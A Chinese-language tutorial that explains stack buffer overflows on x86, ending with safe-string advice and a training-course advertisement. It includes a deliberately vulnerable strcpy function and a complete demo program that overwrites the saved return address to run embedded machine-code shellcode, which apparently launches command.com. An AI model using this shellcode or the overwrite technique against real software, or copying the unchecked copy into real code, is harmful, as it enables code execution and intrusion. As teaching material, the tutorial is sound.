标题:缓冲区溢出之栈溢出


栈上的缓冲区溢出,是指在栈上进行内存读写操作时,超过了目标缓存的大小而造成越界。单纯的溢出往往会造成程序的崩溃。而经过精心构造的溢出往往会导致某些不该执行的代码或者程序执行,从而造成严重的漏洞。

以X86平台的函数调用约定为例,我们知道,在函数调用过程中,遵守一定的约定:比如参数从右往左依次入栈,然后是eip返回地址入栈,然后ebp入栈,然后esp抬,开辟一个存储局部变量的空间,并且栈的增长方向从高向低。因此,当在栈空间发生溢出,那么会沿着栈增长的相反方向越界,从而可能覆盖了其中的返回地址(eip)。

当经过精心构造,覆盖eip的恰好是一个指向另外一个地方一段特殊代码的地址,那么当函数退出后,就会执行对应的这段代码,从而发生了栈上的缓冲区溢出漏洞。

 


下面的代码就存在缓冲区溢出问题。当传入的buf长度超过200个字节的时候,strcpy()并不检查目标缓存msg[200]是否能容纳buf中的内容,也就是不检查msg目标缓存的长度,因此会覆盖紧挨msg[200]存储的数据。根据上面的图,msg[200]存放在栈上,当buf的长度为208(debug)或者204(release)字节的时候,就会覆盖返回地址(eip),造成严重的缓冲区溢出漏洞。

void msg_display(char * buf)

{

       char msg[200];

       strcpy(msg,buf);

      cout<<msg<<endl;

}

 

那么如何精心构造这个缓冲区溢出呢?下面的例子就是通过精心构造栈上的缓冲区溢出来执行意料之外的一段代码。问题出在func1()。

 

 

#include "stdafx.h"

#include <stdio.h>

#include <string.h>

#include <windows.h>

 

//一段由机器码组成的shellcode。

unsigned char shellcode[] =

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x7b\x1d\x80\x7c"

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xc7\x93\xbf\x77"

"\xFF\xD0";

 

//在func1()里,当往buf里多拷贝20个字节,其中从16个字节(存储buf需要对齐到4字节,所以共有12个字节)开始,

//就是eip的地址。

void func1(char* s)

{

    char buf[10];

    strcpy(buf, s);

}

void func2(void)

{

       printf("Hacked by me.\n");

       exit(0);

}

int main(int argc, char* argv[])

{

    char badCode[] = "aaaabbbb2222cccc4444ffff";

    DWORD* pEIP = (DWORD*)&badCode[16];//将栈上存放eip返回地址指向一段shellcode或者指向一个函数func2()。

    //*pEIP = (DWORD)func2;

    *pEIP = (DWORD)shellcode;

    func1(badCode);//当func1()退出后,程序并不会正常退出,而是直接执行了shellcode或者func2()函数。

    return 0;

}

 

字符串处理操作是缓冲区溢出的常见根源,大部分是由于 C/C++ 语言运行时库提供的标准字符串处理函数(strcatstrcpysprintf 等)不会阻止超出缓冲区结尾的写入操作。

 

所以需要使用更加安全的字符串函数来消除程序中许多潜在的缓冲区溢出。比如可以使用strncatstrncpysnprintf等函数,来控制字符串操作的实际字符数,以达到防止这方面的溢出的问题。而在最新的微软字符串操作库中,已经提供了一种安全的字符串操作函数:strcpy_sstrcat_s等。它们的使用情况可参考相应的MSDN帮助手册。



看文字不过瘾?点击我,进入腾讯课堂视频教学
麦洛科菲长期致力于IT安全技术的推广与普及,我们更专业!我们的学员已经广泛就职于BAT360等各大IT互联网公司。详情请参考我们的 业界反馈 《周哥教IT.C语言深学活用》视频

我们的微信公众号,敬请关注